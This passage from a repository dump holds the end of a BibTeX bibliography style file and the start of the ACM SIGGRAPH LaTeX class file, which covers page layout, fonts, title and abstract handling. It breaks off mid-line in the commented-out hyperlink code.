format.bvolume output 879 | format.number.series output 880 | editor empty$ 881 | 'skip$ 882 | { organization output } 883 | if$ 884 | address empty$ 885 | { publisher empty$ 886 | 'skip$ 887 | { publisher "publisher" output.check 888 | } 889 | if$ 890 | } 891 | { publisher empty$ 892 | 'skip$ 893 | { publisher "publisher" output.check 894 | address "address" output.check 895 | } 896 | if$ 897 | } 898 | if$ 899 | new.block 900 | note output 901 | fin.entry 902 | } 903 | 904 | FUNCTION {techreport} 905 | { output.bibitem 906 | format.authors "author" output.check 907 | new.block 908 | format.year "year" output.check 909 | new.block 910 | format.title "title" output.check 911 | new.block 912 | format.tr.number output.nonnull 913 | institution "institution" output.check 914 | address output 915 | format.month output 916 | new.block 917 | note output 918 | fin.entry 919 | } 920 | 921 | FUNCTION {unpublished} 922 | { output.bibitem 923 | format.authors "author" output.check 924 | new.block 925 | format.year output 926 | new.block 927 | format.title "title" output.check 928 | new.block 929 | note "note" output.check 930 | format.month output 931 | fin.entry 932 | } 933 | 934 | FUNCTION {default.type} { misc } 935 | 936 | MACRO {jan} {"Jan."} 937 | 938 | MACRO {feb} {"Feb."} 939 | 940 | MACRO {mar} {"Mar."} 941 | 942 | MACRO {apr} {"Apr."} 943 | 944 | MACRO {may} {"May"} 945 | 946 | MACRO {jun} {"June"} 947 | 948 | MACRO {jul} {"July"} 949 | 950 | MACRO {aug} {"Aug."} 951 | 952 | MACRO {sep} {"Sept."} 953 | 954 | MACRO {oct} {"Oct."} 955 | 956 | MACRO {nov} {"Nov."} 957 | 958 | MACRO {dec} {"Dec."} 959 | 960 | MACRO {acmcs} {"ACM Comput. Surv."} 961 | 962 | MACRO {acta} {"Acta Inf."} 963 | 964 | MACRO {cacm} {"Commun. ACM"} 965 | 966 | MACRO {ibmjrd} {"IBM J. Res. Dev."} 967 | 968 | MACRO {ibmsj} {"IBM Syst.~J."} 969 | 970 | MACRO {ieeese} {"IEEE Trans. Softw. Eng."} 971 | 972 | MACRO {ieeetc} {"IEEE Trans. Comput."} 973 | 974 | MACRO {ieeetcad} 975 | {"IEEE Trans. Comput.-Aided Design Integrated Circuits"} 976 | 977 | MACRO {ipl} {"Inf. Process. Lett."} 978 | 979 | MACRO {jacm} {"J.~ACM"} 980 | 981 | MACRO {jcss} {"J.~Comput. Syst. Sci."} 982 | 983 | MACRO {scp} {"Sci. Comput. Programming"} 984 | 985 | MACRO {sicomp} {"SIAM J. Comput."} 986 | 987 | MACRO {tocs} {"ACM Trans. Comput. Syst."} 988 | 989 | MACRO {tods} {"ACM Trans. Database Syst."} 990 | 991 | MACRO {tog} {"ACM Trans. Gr."} 992 | 993 | MACRO {toms} {"ACM Trans. Math. Softw."} 994 | 995 | MACRO {toois} {"ACM Trans. Office Inf. Syst."} 996 | 997 | MACRO {toplas} {"ACM Trans. Program. Lang. Syst."} 998 | 999 | MACRO {tcs} {"Theoretical Comput. Sci."} 1000 | 1001 | READ 1002 | 1003 | FUNCTION {sortify} 1004 | { purify$ 1005 | "l" change.case$ 1006 | } 1007 | 1008 | INTEGERS { len } 1009 | 1010 | FUNCTION {chop.word} 1011 | { 's := 1012 | 'len := 1013 | s #1 len substring$ = 1014 | { s len #1 + global.max$ substring$ } 1015 | 's 1016 | if$ 1017 | } 1018 | 1019 | INTEGERS { et.al.char.used } 1020 | 1021 | FUNCTION {initialize.et.al.char.used} 1022 | { #0 'et.al.char.used := 1023 | } 1024 | 1025 | EXECUTE {initialize.et.al.char.used} 1026 | 1027 | FUNCTION {format.lab.names} 1028 | { 1029 | 's := 1030 | s num.names$ 'numnames := 1031 | numnames #2 > % change number to number of others allowed before 1032 | % forcing "et al". 1033 | { s #1 "{vv~}{ll}" format.name$ " et~al\mbox{.}" * } 1034 | { 1035 | numnames #1 - 'namesleft := 1036 | #2 'nameptr := 1037 | s #1 "{vv~}{ll}" format.name$ 1038 | { namesleft #0 > } 1039 | { nameptr numnames = 1040 | { s nameptr "{ff }{vv }{ll}{ jj}" format.name$ "others" = 1041 | { " et~al\mbox{.}" * } 1042 | { " and " * s nameptr "{vv~}{ll}" format.name$ * } 1043 | if$ 1044 | } 1045 | { ", " * s nameptr "{vv~}{ll}" format.name$ * } 1046 | if$ 1047 | nameptr #1 + 'nameptr := 1048 | namesleft #1 - 'namesleft := 1049 | } 1050 | while$ 1051 | } 1052 | if$ 1053 | } 1054 | 1055 | 1056 | FUNCTION {author.key.label} 1057 | { author empty$ 1058 | { key empty$ 1059 | { cite$ #1 #3 substring$ } 1060 | { key #3 text.prefix$ } 1061 | if$ 1062 | } 1063 | { author format.lab.names } 1064 | if$ 1065 | } 1066 | 1067 | FUNCTION {author.editor.key.label} 1068 | { author empty$ 1069 | { editor empty$ 1070 | { key empty$ 1071 | { cite$ #1 #3 substring$ } 1072 | { key #3 text.prefix$ } 1073 | if$ 1074 | } 1075 | { editor format.lab.names } 1076 | if$ 1077 | } 1078 | { author format.lab.names } 1079 | if$ 1080 | } 1081 | 1082 | FUNCTION {author.key.organization.label} 1083 | { author empty$ 1084 | { key empty$ 1085 | { organization empty$ 1086 | { cite$ #1 #3 substring$ } 1087 | { "The " #4 organization chop.word #3 text.prefix$ } 1088 | if$ 1089 | } 1090 | { key #3 text.prefix$ } 1091 | if$ 1092 | } 1093 | { author format.lab.names } 1094 | if$ 1095 | } 1096 | 1097 | FUNCTION {editor.key.organization.label} 1098 | { editor empty$ 1099 | { key empty$ 1100 | { organization empty$ 1101 | { cite$ #1 #3 substring$ } 1102 | { "The " #4 organization chop.word #3 text.prefix$ } 1103 | if$ 1104 | } 1105 | { key #3 text.prefix$ } 1106 | if$ 1107 | } 1108 | { editor format.lab.names } 1109 | if$ 1110 | } 1111 | 1112 | FUNCTION {calc.label} 1113 | { type$ "book" = 1114 | type$ "inbook" = 1115 | or 1116 | 'author.editor.key.label 1117 | { type$ "proceedings" = 1118 | 'editor.key.organization.label 1119 | { type$ "manual" = 1120 | 'author.key.organization.label 1121 | 'author.key.label 1122 | if$ 1123 | } 1124 | if$ 1125 | } 1126 | if$ 1127 | 1128 | duplicate$ 1129 | year empty$ 1130 | { 1131 | "\protect\citename{" swap$ * " }" * 1132 | "" * 'label := 1133 | } 1134 | { 1135 | "\protect\citename{" swap$ * " }" * 1136 | year 1137 | * 1138 | 'label := 1139 | } 1140 | if$ 1141 | 1142 | year field.or.null * 1143 | sortify 'sort.label := 1144 | } 1145 | 1146 | FUNCTION {sort.format.names} 1147 | { 's := 1148 | #1 'nameptr := 1149 | "" 1150 | s num.names$ 'numnames := 1151 | numnames 'namesleft := 1152 | { namesleft #0 > } 1153 | { nameptr #1 > 1154 | { " " * } 1155 | 'skip$ 1156 | if$ 1157 | s nameptr "{vv{ } }{ll{ }}{ ff{ }}{ jj{ }}" format.name$ 't := 1158 | nameptr numnames = t "others" = and 1159 | { "et al" * } 1160 | { t sortify * } 1161 | if$ 1162 | nameptr #1 + 'nameptr := 1163 | namesleft #1 - 'namesleft := 1164 | } 1165 | while$ 1166 | } 1167 | 1168 | FUNCTION {sort.format.title} 1169 | { 't := 1170 | "A " #2 1171 | "An " #3 1172 | "The " #4 t chop.word 1173 | chop.word 1174 | chop.word 1175 | sortify 1176 | #1 global.max$ substring$ 1177 | } 1178 | 1179 | FUNCTION {author.sort} 1180 | { author empty$ 1181 | { key empty$ 1182 | { "to sort, need author or key in " cite$ * warning$ 1183 | "" 1184 | } 1185 | { key sortify } 1186 | if$ 1187 | } 1188 | { author sort.format.names } 1189 | if$ 1190 | } 1191 | 1192 | FUNCTION {author.editor.sort} 1193 | { author empty$ 1194 | { editor empty$ 1195 | { key empty$ 1196 | { "to sort, need author, editor, or key in " cite$ * warning$ 1197 | "" 1198 | } 1199 | { key sortify } 1200 | if$ 1201 | } 1202 | { editor sort.format.names } 1203 | if$ 1204 | } 1205 | { author sort.format.names } 1206 | if$ 1207 | } 1208 | 1209 | FUNCTION {author.organization.sort} 1210 | { author empty$ 1211 | { organization empty$ 1212 | { key empty$ 1213 | { "to sort, need author, organization, or key in " cite$ * warning$ 1214 | "" 1215 | } 1216 | { key sortify } 1217 | if$ 1218 | } 1219 | { "The " #4 organization chop.word sortify } 1220 | if$ 1221 | } 1222 | { author sort.format.names } 1223 | if$ 1224 | } 1225 | 1226 | FUNCTION {editor.organization.sort} 1227 | { editor empty$ 1228 | { organization empty$ 1229 | { key empty$ 1230 | { "to sort, need editor, organization, or key in " cite$ * warning$ 1231 | "" 1232 | } 1233 | { key sortify } 1234 | if$ 1235 | } 1236 | { "The " #4 organization chop.word sortify } 1237 | if$ 1238 | } 1239 | { editor sort.format.names } 1240 | if$ 1241 | } 1242 | 1243 | FUNCTION {presort} 1244 | { calc.label 1245 | sort.label 1246 | " " 1247 | * 1248 | type$ "book" = 1249 | type$ "inbook" = 1250 | or 1251 | 'author.editor.sort 1252 | { type$ "proceedings" = 1253 | 'editor.organization.sort 1254 | { type$ "manual" = 1255 | 'author.organization.sort 1256 | 'author.sort 1257 | if$ 1258 | } 1259 | if$ 1260 | } 1261 | if$ 1262 | * 1263 | " " 1264 | * 1265 | year field.or.null sortify 1266 | * 1267 | " " 1268 | * 1269 | title field.or.null 1270 | sort.format.title 1271 | * 1272 | #1 entry.max$ substring$ 1273 | 'sort.key$ := 1274 | } 1275 | 1276 | ITERATE {presort} 1277 | 1278 | SORT 1279 | 1280 | STRINGS { longest.label last.sort.label next.extra } 1281 | 1282 | INTEGERS { longest.label.width last.extra.num } 1283 | 1284 | FUNCTION {initialize.longest.label} 1285 | { "" 'longest.label := 1286 | #0 int.to.chr$ 'last.sort.label := 1287 | "" 'next.extra := 1288 | #0 'longest.label.width := 1289 | #0 'last.extra.num := 1290 | } 1291 | 1292 | FUNCTION {forward.pass} 1293 | { last.sort.label sort.label = 1294 | { last.extra.num #1 + 'last.extra.num := 1295 | last.extra.num int.to.chr$ 'extra.label := 1296 | } 1297 | { "a" chr.to.int$ 'last.extra.num := 1298 | "" 'extra.label := 1299 | sort.label 'last.sort.label := 1300 | } 1301 | if$ 1302 | } 1303 | 1304 | FUNCTION {reverse.pass} 1305 | { next.extra "b" = 1306 | { "a" 'extra.label := } 1307 | 'skip$ 1308 | if$ 1309 | label extra.label * 'label := 1310 | label width$ longest.label.width > 1311 | { label 'longest.label := 1312 | label width$ 'longest.label.width := 1313 | } 1314 | 'skip$ 1315 | if$ 1316 | extra.label 'next.extra := 1317 | } 1318 | 1319 | EXECUTE {initialize.longest.label} 1320 | 1321 | ITERATE {forward.pass} 1322 | 1323 | REVERSE {reverse.pass} 1324 | 1325 | FUNCTION {begin.bib} 1326 | { et.al.char.used 1327 | { "\newcommand{\etalchar}[1]{$^{#1}$}" write$ newline$ } 1328 | 'skip$ 1329 | if$ 1330 | preamble$ empty$ 1331 | 'skip$ 1332 | { preamble$ write$ newline$ } 1333 | if$ 1334 | "\begin{thebibliography}{" longest.label * "}" * write$ newline$ 1335 | } 1336 | 1337 | EXECUTE {begin.bib} 1338 | 1339 | EXECUTE {init.state.consts} 1340 | 1341 | ITERATE {call.type$} 1342 | 1343 | FUNCTION {end.bib} 1344 | { newline$ 1345 | "\end{thebibliography}" write$ newline$ 1346 | } 1347 | 1348 | EXECUTE {end.bib} 1349 | 1350 | -------------------------------------------------------------------------------- /doc/paper/acmsiggraph.cls: -------------------------------------------------------------------------------- 1 | % 2 | % acmsiggraph.cls 3 | % 4 | % version history 5 | % 6 | % - borrows *heavily* from Daniel Kartch's 'siggraph' class. 7 | % - also uses pieces of 'apalike.sty' and 'authordate1-4.cls' 8 | % - modifications include adjustment of citation format to more closely 9 | % align with new (for SIGGRAPH 2002 conference and beyond) reference 10 | % and citation formatting requirements. 11 | % - version 0.1 2001/06/01 Stephen Spencer (spencer@acm.org) 12 | % - version 0.2 2001/10/15 Stephen Spencer 13 | % - the "\onlineid" variable works with the "review" mode, placing a 14 | % banner across the top of each page "Online Submission ID 'onlineid' 15 | % - version 0.3 2002/01/11 Stephen Spencer 16 | % - disabled the cover page option. 17 | % - version 0.4 2002/01/23 Stephen Spencer 18 | % - based on suggestions from James O'Brien, the following changes: 19 | % - correction if '\ifcamera' and '\ifcameraelse' commands 20 | % - page numbering in both review and preprint modes 21 | % have been made. 22 | % - version 0.5 2005/01/22 Stephen Spencer 23 | % - removed the category markers 24 | % - version 0.6 2006/12/15 Stephen Spencer 25 | % - tightened up space around section headings 26 | % - version 0.7 2008/10/21 Stephen Spencer 27 | % - added 'annualconference' parameter for copyright space 28 | % - added line number support for 'review' mode 29 | % - version 0.8 2011/03/02 Stephen Spencer (with Hugues Hoppe) 30 | % - removal of 'widereview' mode 31 | % - added hyperref 32 | % - added URL Links for paper DOI and author-provided content. 33 | % - version 0.81 2012/01/03 Stephen Spencer 34 | % - bugfix: returned the "amsmath" package requirement, which 35 | % resolves the line-numbering issue (thank you, Sylvain Paris 36 | % and Hanspeter Pfister) 37 | % - version 0.82 2012/01/05 Stephen Spencer 38 | % - bugfix: added ``breaklinks=true'' to hyperref setup 39 | % - version 0.9 2013/12/06 Stephen Spencer 40 | % - removed "abstract" environment for copyright space 41 | % - renamed remaining environments to "tog" and "conference" 42 | % - version 0.91 43 | % - removed the hyperlink icons 44 | % - added date to the external class name 45 | % 46 | % --------------------------------------------------------------------------- 47 | 48 | \NeedsTeXFormat{LaTeX2e} 49 | \ProvidesClass{acmsiggraph}[2014/12/29 ACM SIGGRAPH class] 50 | 51 | % lots of options aren't allowed. 52 | 53 | \DeclareOption{onecolumn}{\OptionNotUsed} 54 | \DeclareOption{a4paper}{\OptionNotUsed} 55 | \DeclareOption{12pt}{\OptionNotUsed} 56 | \DeclareOption{14pt}{\OptionNotUsed} 57 | 58 | % options that we DO want to set. 59 | 60 | \newlength{\ACMpointsize} 61 | \setlength{\ACMpointsize}{9pt} 62 | 63 | % ``documentclass'' options. 64 | 65 | \newif\if@ACMtog 66 | \@ACMtogfalse 67 | \DeclareOption{tog}{\@ACMtogtrue} 68 | 69 | \newif\if@ACMconference 70 | \@ACMconferencefalse 71 | \DeclareOption{conference}{\@ACMconferencetrue} 72 | 73 | \newif\if@ACMreview 74 | \@ACMreviewfalse 75 | \DeclareOption{review}{\@ACMreviewtrue} 76 | 77 | \newif\if@ACMpreprint 78 | \@ACMpreprintfalse 79 | \DeclareOption{preprint}{\@ACMpreprinttrue} 80 | 81 | % pass the options, and load the 'article' class, on which 'acmsiggraph' 82 | % is based. 83 | 84 | \ProcessOptions\relax 85 | \LoadClass[twocolumn,letterpaper]{article} 86 | 87 | % required packages. 88 | 89 | \RequirePackage{amsmath} 90 | \RequirePackage{lineno} 91 | \RequirePackage[scaled=.92]{helvet} 92 | \RequirePackage{times} 93 | \RequirePackage{graphicx} 94 | \RequirePackage[labelfont=bf,textfont=it]{caption} 95 | \RequirePackage{parskip} 96 | 97 | % define things. 98 | 99 | \setlength{\textheight}{9.250in} 100 | \setlength{\textwidth}{7.000in} 101 | \setlength{\topmargin}{-0.700in} 102 | \setlength{\oddsidemargin}{-0.250in} 103 | \setlength{\evensidemargin}{-0.250in} 104 | \setlength{\columnsep}{2pc} 105 | \setlength{\headheight}{0.200in} 106 | \setlength{\headsep}{0.250in} 107 | \setlength{\footskip}{0.500in} 108 | 109 | \DeclareRobustCommand\cs[1]{\texttt{\char`\\#1}} 110 | 111 | % create a new length ``\ACMcopyrightspace'' and set its initial value. 112 | 113 | \newlength{\ACMcopyrightspace} 114 | \setlength{\ACMcopyrightspace}{3.3in} 115 | 116 | % set the value of ``\ACMcopyrightspace'' based on the kind of document. 117 | 118 | \if@ACMtog 119 | \setlength{\ACMcopyrightspace}{1.5in} 120 | \fi 121 | 122 | \if@ACMconference 123 | \setlength{\ACMcopyrightspace}{1.0in} 124 | \fi 125 | 126 | \if@ACMreview 127 | \setlength{\ACMcopyrightspace}{0in} 128 | \fi 129 | 130 | \if@ACMpreprint 131 | \setlength{\ACMcopyrightspace}{0in} 132 | \fi 133 | 134 | % define the ``\copyrightspace'' command. 135 | % (todo) don't do this if ``\ACMcopyrightspace'' is zero. 136 | 137 | \newcommand{\copyrightspace}{% 138 | \renewcommand{\thefootnote}{}% 139 | \footnotetext[0]{\rule[\ACMcopyrightspace]{2.71828in}{0in}}% 140 | \renewcommand{\thefootnote}{\arabic{footnote}} 141 | } 142 | 143 | % in ``review'' mode, the ``\onlineid'' command passes the value given 144 | % to the paper by the online submission system. This gets printed out 145 | % at the top of each page. 146 | 147 | \newcommand{\TOGonlineid}[1]{\gdef\@ACMonlineid{#1}} 148 | \newcommand{\@ACMreviewtext}{Online Submission ID: \@ACMonlineid} 149 | 150 | % in ``preprint'' mode, the ``\TOGvolume'' and ``\TOGnumber'' commands 151 | % pass the volume and number of the TOG issue in which the paper will be 152 | % published. This gets printed out at the top of each page. 153 | 154 | \newcommand{\TOGvolume}[1]{\gdef\@ACMvolume{#1}} 155 | \newcommand{\TOGnumber}[1]{\gdef\@ACMnumber{#1}} 156 | \newcommand{\@ACMpreprinttext}{To appear in ACM TOG \@ACMvolume(\@ACMnumber).} 157 | 158 | %%% 159 | 160 | \newcommand{\ifreview}[1]{\if@ACMreview #1 \fi} 161 | \newcommand{\ifreviewelse}[2]{\if@ACMreview #1 \else #2 \fi} 162 | 163 | %%% 164 | 165 | \newcommand{\@ACMarticleDOI}{} % of the form 1073204.1073261 166 | \newcommand{\@ACMarticleDOIsuffix}{} % of the form 1073261 167 | 168 | \def\@ACMgetDOIsuffix#1.#2\@nil{#2} 169 | 170 | \newcommand{\TOGarticleDOI}[1]{% 171 | \renewcommand{\@ACMarticleDOI}{#1} 172 | \in@{.}{#1}% given DOI of the form 1073204.1073261, if there is a period, extract the second part 173 | \ifin@ 174 | \renewcommand{\@ACMarticleDOIsuffix}{\@ACMgetDOIsuffix#1\@nil} 175 | \else 176 | \renewcommand{\@ACMarticleDOIsuffix}{#1} 177 | \fi 178 | } 179 | 180 | %%% 181 | 182 | \newcommand{\pdfauthor}[1]{\gdef\@ACMpdfauthor{#1}} 183 | 184 | % if we are in ``review'' or ``preprint'' modes, set up special headers 185 | % and footers for each page of the paper. 186 | 187 | \renewcommand{\ps@plain}% 188 | {% 189 | \renewcommand{\@oddhead}{}% 190 | \renewcommand{\@oddfoot}{}% 191 | 192 | \if@ACMpreprint% 193 | \renewcommand{\@oddhead}{\hfil\textit{\large\@ACMpreprinttext}\hfil}% 194 | \renewcommand{\@oddfoot}{\hfil\textrm{\thepage}\hfil}% 195 | \fi% 196 | 197 | \if@ACMreview% 198 | \renewcommand{\@oddhead}{\hfil\textit{\large\@ACMreviewtext}\hfil}% 199 | \renewcommand{\@oddfoot}{\hfil\textrm{\thepage}\hfil}% 200 | \fi% 201 | 202 | \renewcommand{\@evenhead}{\@oddhead}% 203 | \renewcommand{\@evenfoot}{\@oddfoot}% 204 | } 205 | 206 | \renewcommand{\ps@empty}% 207 | {% 208 | \renewcommand{\@oddhead}{}% 209 | \renewcommand{\@oddfoot}{}% 210 | 211 | \if@ACMpreprint% 212 | \renewcommand{\@oddhead}{\hfil\textit{\large\@ACMpreprinttext}\hfil}% 213 | \renewcommand{\@oddfoot}{\hfil\textrm{\thepage}\hfil}% 214 | \fi% 215 | 216 | \if@ACMreview% 217 | \renewcommand{\@oddhead}{\hfil\textit{\large\@ACMreviewtext}\hfil}% 218 | \renewcommand{\@oddfoot}{\hfil\textrm{\thepage}\hfil}% 219 | \fi% 220 | 221 | \renewcommand{\@evenhead}{\@oddhead}% 222 | \renewcommand{\@evenfoot}{\@oddfoot}% 223 | } 224 | 225 | % no page numbers! 226 | 227 | \pagestyle{plain} 228 | 229 | % if we are in ``review'' mode, turn on line numbers. 230 | 231 | \if@ACMreview% 232 | \linenumbers 233 | \fi 234 | 235 | % Nine-point type is the standard. 236 | 237 | \newcommand{\@ACMsetninepoint}{ 238 | \renewcommand\normalsize{% 239 | \@setfontsize\normalsize\@ixpt\@xpt 240 | \abovedisplayskip 9\p@ \@plus2\p@ \@minus4\p@ 241 | \abovedisplayshortskip \z@ \@plus3\p@ 242 | \belowdisplayshortskip 6\p@ \@plus3\p@ \@minus3\p@ 243 | \belowdisplayskip \abovedisplayskip 244 | \let\@listi\@listI} 245 | \renewcommand\small{% 246 | \@setfontsize\small\@viipt\@ixpt 247 | \abovedisplayskip 8.5\p@ \@plus3\p@ \@minus4\p@ 248 | \abovedisplayshortskip \z@ \@plus2\p@ 249 | \belowdisplayshortskip 4\p@ \@plus2\p@ \@minus2\p@ 250 | \def\@listi{\leftmargin\leftmargini 251 | \topsep 4\p@ \@plus2\p@ \@minus2\p@ 252 | \parsep 2\p@ \@plus\p@ \@minus\p@ 253 | \itemsep \parsep}% 254 | \belowdisplayskip \abovedisplayskip} 255 | \renewcommand\footnotesize{% 256 | \@setfontsize\footnotesize\@viiipt{9.5}% 257 | \abovedisplayskip 6\p@ \@plus2\p@ \@minus4\p@ 258 | \abovedisplayshortskip \z@ \@plus\p@ 259 | \belowdisplayshortskip 3\p@ \@plus\p@ \@minus2\p@ 260 | \def\@listi{\leftmargin\leftmargini 261 | \topsep 3\p@ \@plus\p@ \@minus\p@ 262 | \parsep 2\p@ \@plus\p@ \@minus\p@ 263 | \itemsep \parsep}% 264 | \belowdisplayskip \abovedisplayskip} 265 | \renewcommand\scriptsize{\@setfontsize\scriptsize\@viipt\@viiipt} 266 | \renewcommand\tiny{\@setfontsize\tiny\@vpt\@vipt} 267 | \renewcommand\large{\@setfontsize\large\@xpt\@xiipt} 268 | \renewcommand\Large{\@setfontsize\Large\@xiipt{14}} 269 | \renewcommand\LARGE{\@setfontsize\LARGE\@xivpt{18}} 270 | \renewcommand\huge{\@setfontsize\huge\@xviipt{22}} 271 | \renewcommand\Huge{\@setfontsize\Huge\@xxpt{25}} 272 | \selectfont 273 | } 274 | 275 | \@ACMsetninepoint 276 | 277 | % Section and subsection environment tweaks. 278 | 279 | \newcommand{\@ACMsectionfont}{} 280 | \newcommand{\sectionfont}[1]{\renewcommand{\@ACMsectionfont}{#1}} 281 | \renewcommand\section{\@startsection {section}{1}{\z@}% 282 | {-1.0ex}% 283 | {1.0ex}% 284 | {\reset@font\Large\sffamily\bfseries\@ACMsectionfont}} 285 | \renewcommand\subsection{\@startsection{subsection}{2}{\z@}% 286 | {-1.0ex}% 287 | {1.0ex}% 288 | {\reset@font\large\sffamily\bfseries\@ACMsectionfont}} 289 | \renewcommand\subsubsection{\@startsection{subsubsection}{3}{\z@}% 290 | {-1.0ex}% 291 | {1.0ex}% 292 | {\reset@font\normalsize\sffamily\bfseries\@ACMsectionfont}} 293 | 294 | % Paragraph and subparagraph environment tweaks. 295 | 296 | \renewcommand\paragraph{\@startsection{paragraph}{4}{\z@}% 297 | {2.05ex}% 298 | {-1em}% 299 | {\reset@font\normalsize\sffamily\bfseries\@ACMsectionfont}} 300 | \renewcommand\subparagraph{\@startsection{subparagraph}{5}{\parindent}% 301 | {3.25ex \@plus1ex \@minus .2ex}% 302 | {-1em}% 303 | {\reset@font\normalsize\sffamily\bfseries\@ACMsectionfont}} 304 | 305 | % no labels in bibliography. 306 | 307 | \def\@biblabel#1{} 308 | 309 | % bibitems are flush left, with successive lines indented by 1em. 310 | 311 | \newlength{\bibhang} 312 | \setlength{\bibhang}{1em} 313 | 314 | \def\thebibliography#1{% 315 | \section*{% 316 | \refname\@mkboth{\sl\uppercase{\refname}}{\sl\uppercase{\refname}}} 317 | \list{\relax}{\setlength{\labelsep}{0em} 318 | \setlength{\itemindent}{-\bibhang} 319 | \setlength{\leftmargin}{\bibhang}} 320 | \def\newblock{\hskip .11em plus .33em minus .07em} 321 | \sloppy\clubpenalty4000\widowpenalty4000 322 | \sfcode`\.=1000\relax} 323 | 324 | \def\@citex[#1]#2{\if@filesw\immediate\write\@auxout{\string\citation{#2}}\fi 325 | \def\@citea{}\@cite{\@for\@citeb:=#2\do 326 | {\@citea\def\@citea{; }\@ifundefined 327 | {b@\@citeb}{{\bf ?}\@warning 328 | {Citation '\@citeb' on page \thepage \space undefined}}% 329 | {\csname b@\@citeb\endcsname}}}{#1}} 330 | 331 | \let\@internalcite\cite 332 | \def\cite{\def\citename##1{##1}\@internalcite} 333 | \def\shortcite{\def\citename##1{}\@internalcite} 334 | 335 | % title stuff... 336 | 337 | \newcommand{\@ACMempty}{} 338 | 339 | \newcommand{\@ACMaffiliation}{} 340 | \newcommand{\affiliation}[1]{\gdef\@ACMaffiliation{#1}} 341 | 342 | \newcommand{\@ACMteaser}{} 343 | \newcommand{\teaser}[1]{\gdef\@ACMteaser{#1}} 344 | 345 | \newlength{\titlespace} 346 | \setlength{\titlespace}{0.25in} 347 | 348 | \newlength{\teaserspace} 349 | \setlength{\teaserspace}{0.25in} 350 | 351 | \if@ACMreview 352 | \renewcommand{\@maketitle}{% 353 | \begin{center}% 354 | \renewcommand{\thanks}[1]{} 355 | {\LARGE\sffamily\bfseries\@ACMsectionfont \@title \par}% 356 | \vspace{1\baselineskip}% 357 | \vspace{\titlespace}% 358 | \ifx\@ACMteaser\@ACMempty \else% 359 | \begingroup% 360 | \def\@captype{figure}% 361 | \@ACMteaser% 362 | \endgroup\par% 363 | \vspace{\teaserspace}% 364 | \fi% 365 | \end{center} \par% 366 | } 367 | \else 368 | \renewcommand{\@maketitle}{% 369 | \begin{center}% 370 | {\LARGE\sffamily\bfseries\@ACMsectionfont \@title \par}% 371 | \vspace{1\baselineskip}% 372 | \large 373 | \begin{tabular}[t]{c}% 374 | \@author 375 | \end{tabular}\par% 376 | \ifx\@ACMaffiliation\@ACMempty \else% 377 | \vspace{0.5\baselineskip}% 378 | \@ACMaffiliation\par% 379 | \fi% 380 | \vspace{\titlespace}% 381 | \ifx\@ACMteaser\@ACMempty \else% 382 | \begingroup% 383 | \def\@captype{figure}% 384 | \@ACMteaser% 385 | \endgroup\par% 386 | \vspace{\teaserspace}% 387 | \fi% 388 | \end{center} \par% 389 | } 390 | \fi 391 | 392 | \let\@ACMorigmaketitle\maketitle 393 | \let\@ACMorigand\and 394 | \renewcommand{\maketitle}{% 395 | \let\@ACMtitle\@title% 396 | \let\@ACMauthor\@author% 397 | \@ACMorigmaketitle% 398 | \thispagestyle{empty}% 399 | } 400 | 401 | % Abstract stuff... 402 | 403 | \newtoks\@ACMabs 404 | \if@ACMreview 405 | \long\def\@ACMadd#1{\global\@ACMabs\expandafter{\the\@ACMabs#1}} 406 | \long\def\@ACMcollect{% 407 | \global\@ACMabs{}% 408 | \let\abstract\@ACM@collect 409 | \abstract 410 | } 411 | \long\def\@ACM@collect#1\end#2{% 412 | \def\@tempa{#2}% 413 | \ifx\@tempa\@currenvir 414 | \@ACMadd{#1}% 415 | \edef\abstract{\noexpand\end{\@tempa}}% 416 | \else 417 | \@ACMadd{#1\end{#2}}% 418 | \fi 419 | \abstract 420 | } 421 | \newcommand{\@ACMmodify}{% 422 | \let\@ACMorigabs\abstract% 423 | \let\@ACMorigendabs\endabstract% 424 | \renewenvironment{abstract}% 425 | {\@ACMcollect}% 426 | {\begingroup 427 | \let\abstract\@ACMorigabs 428 | \let\endabstract\@ACMorigendabs 429 | \begin{abstract} \the\@ACMabs \end{abstract} 430 | \endgroup}% 431 | } 432 | \AtBeginDocument{\@ACMmodify} 433 | \fi 434 | 435 | %%% Keyword list. 436 | 437 | \newcommand{\@ACMkeywords}{} 438 | \newcommand{\keywords}[1]{\renewcommand{\@ACMkeywords}{#1}} 439 | 440 | \newcommand{\keywordlist}{% 441 | \vspace{0.5\baselineskip}% 442 | \par\noindent \textbf{Keywords: } \@ACMkeywords% 443 | } 444 | 445 | %%% Computing Review (CR) categories. 446 | 447 | \newenvironment{CRcatlist}{% 448 | \vspace{0.5\baselineskip}% 449 | \par\noindent \textbf{CR Categories: }% 450 | }{} 451 | 452 | \newcommand{\CRcat}[4]{% 453 | #1 [#2]% 454 | \ifx#3\@ACMempty \else : #3\fi% 455 | \ifx#4\@ACMempty \else ---#4\fi% 456 | } 457 | 458 | %%% Icon(s) with hyperlinks. 459 | 460 | %\newcommand{\@ACMurlWeb}{} 461 | %\newcommand{\TOGprojectURL}[1]{\renewcommand{\@ACMurlWeb}{#1}} 462 | %\newcommand{\@ACMurlVideo}{} 463 | %\newcommand{\TOGvideoURL}[1]{\renewcommand{\@ACMurlVideo}{#1}} 464 | %\newcommand{\@ACMurlData}{} 465 | %\newcommand{\TOGdataURL}[1]{\renewcommand{\@ACMurlData}{#1}} 466 | %\newcommand{\@ACMurlCode}{} 467 | %\newcommand{\TOGcodeURL}[1]{\renewcommand{\@ACMurlCode}{#1}} 468 | 469 | %\newcommand{\icon@DL}{\raisebox{-.02in}{\includegraphics[width=.13in]{icons/iconacm}}\hspace{.01in}DL} 470 | %\newcommand{\icon@PDF}{\raisebox{-.02in}{\includegraphics[width=.11in]{icons/iconpdf}}\hspace{.015in}PDF} 471 | %\newcommand{\icon@Web}{\raisebox{-.025in}{\includegraphics[width=.11in]{icons/iconweb}}\hspace{.01in}Web} 472 | %\newcommand{\icon@Video}{\raisebox{-.01in}{\includegraphics[width=.11in]{icons/iconvideo}}\hspace{.007in}Video} 473 | %\newcommand{\icon@Data}{\raisebox{-.01in}{\includegraphics[width=.10in]{icons/icondata}}\hspace{.015in}Data} 474 | %\newcommand{\icon@Code}{\raisebox{-.005in}{\includegraphics[width=.10in]{icons/iconcode}}\hspace{.017in}Code} 475 | 476 | %\newcommand{\TOGlinkslist}{% 477 | % \if@ACMtog 478 | % {% 479 | % \ifx\@ACMarticleDOI\@ACMempty% 480 | % \ClassWarningNoLine{acmsiggraph}{Please set \noexpand\TOGarticleDOI.}% 481 | % \fi% 482 | % {\bf Links:}% 483 | % \sc% 484 | % \ifx\@ACMarticleDOI\@ACMempty\else% 485 | % 